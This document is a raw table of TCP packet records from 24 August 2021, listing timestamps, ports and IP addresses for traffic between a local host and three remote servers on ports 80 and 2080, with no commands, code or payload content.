Aug 24, 2021 14:01:37.076209068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076220989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.076227903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076246023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076256037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.076267958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076284885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.076287031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076306105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076340914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.077066898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.077085972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.077099085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.077116966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.077130079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.077136993 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.077142000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.077156067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078105927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078121901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078134060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078146935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078159094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078171015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078182936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078950882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078964949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078977108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.078993082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.079005957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.079016924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.079061031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.079073906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.079086065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.080199003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.081693888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081728935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081747055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081763029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081780910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081787109 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.081799030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081819057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081828117 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.081839085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.081860065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.081893921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.082103968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.082120895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.082170963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.082328081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.082348108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.082365036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.082396984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.193041086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:38.030530930 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.030615091 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.052510977 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.076972008 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.092127085 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.092207909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.114026070 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.138200045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.148303032 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.148355961 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.170450926 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.192079067 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.229234934 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.229342937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.251254082 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.281625032 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.300880909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.301084042 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.324048042 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.347609997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:38.373910904 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.398164034 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.398293018 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.398972988 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.423203945 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424586058 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424616098 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424633980 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424652100 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424674988 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424690008 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424707890 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424720049 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.424732924 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424747944 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424755096 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.424768925 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424792051 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.424808025 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424825907 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424848080 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424860954 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.424870014 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424885988 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.424931049 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449203014 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449239969 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449259043 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449276924 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449301004 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449316025 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449338913 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449362040 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449369907 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449378014 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449397087 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449398041 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449419022 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449434042 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449455976 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449455976 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449479103 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449490070 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449498892 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449522018 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449529886 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449543953 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449558973 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449596882 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449620962 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449645042 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449660063 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449697018 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449714899 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449738979 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449748993 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449784994 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449805975 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449827909 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449843884 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449878931 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.449893951 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449917078 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449934006 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.449974060 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.473756075 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473792076 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473809004 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473830938 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473853111 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473867893 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473890066 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473911047 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473926067 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473927975 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.473948002 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473973989 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.473973989 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.473989964 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474010944 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474033117 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474033117 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474049091 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474070072 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474073887 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474092007 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474112988 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474131107 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474143982 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474153996 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474176884 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474198103 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474199057 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474212885 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474234104 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474241972 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474256992 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474292994 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474303007 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474306107 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474329948 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474354982 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474374056 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474376917 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474391937 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474412918 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474422932 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474433899 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474448919 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474471092 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474494934 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474503994 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474519968 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474524021 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:38.474536896 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474548101 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474560022 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474582911 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474603891 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474606991 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474618912 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474639893 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474653006 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474664927 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474688053 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474701881 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474723101 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474726915 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474745989 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474766016 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474767923 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474782944 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474802971 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474805117 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474828959 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474852085 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474865913 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.474868059 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.474888086 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.476417065 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499310017 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499342918 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499366045 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499382973 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499406099 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499428034 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499449968 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499464989 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499485970 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499490976 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499515057 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499515057 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499536991 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499552011 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499573946 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499596119 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499596119 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499619007 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499639034 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499641895 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499663115 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499669075 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499695063 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499708891 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499716043 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499732018 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499754906 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499774933 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499777079 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499799013 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499820948 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499829054 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499845982 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499861002 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499869108 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499882936 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499905109 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499927044 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499934912 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499941111 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499963045 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.499982119 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.499984026 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500010967 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500032902 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500044107 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500055075 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500077009 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500081062 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500091076 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500112057 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500119925 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500133991 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500155926 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500180960 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500200987 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500202894 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500226021 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500240088 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500257015 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500257969 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500283957 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500304937 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500307083 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500329018 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500335932 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500351906 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500374079 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500377893 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500389099 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500415087 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500482082 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500504017 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500525951 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500550032 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500571966 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500575066 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500595093 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500607967 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.500632048 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.500662088 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.524725914 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.524766922 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.524785995 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.524902105 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:38.524981976 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.525012016 CEST	2080	49725	185.49.70.90	192.168.2.3
Aug 24, 2021 14:01:38.526324987 CEST	49725	2080	192.168.2.3	185.49.70.90
Aug 24, 2021 14:01:39.405777931 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.405836105 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.427894115 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:39.450200081 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:39.555830956 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.584538937 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.584570885 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.608622074 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:39.634326935 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:39.732585907 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.854218960 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.854677916 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:39.879719019 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:39.901473045 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:39.955646038 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.171941996 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.171992064 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.194776058 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.219329119 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.283097982 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.283289909 CEST	49723	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:01:40.305250883 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364639997 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364679098 CEST	80	49723	212.224.105.79	192.168.2.3
Aug 24, 2021 14:01:40.364701033 CEST	80	49723	212.224.105.79	192.168.2.3
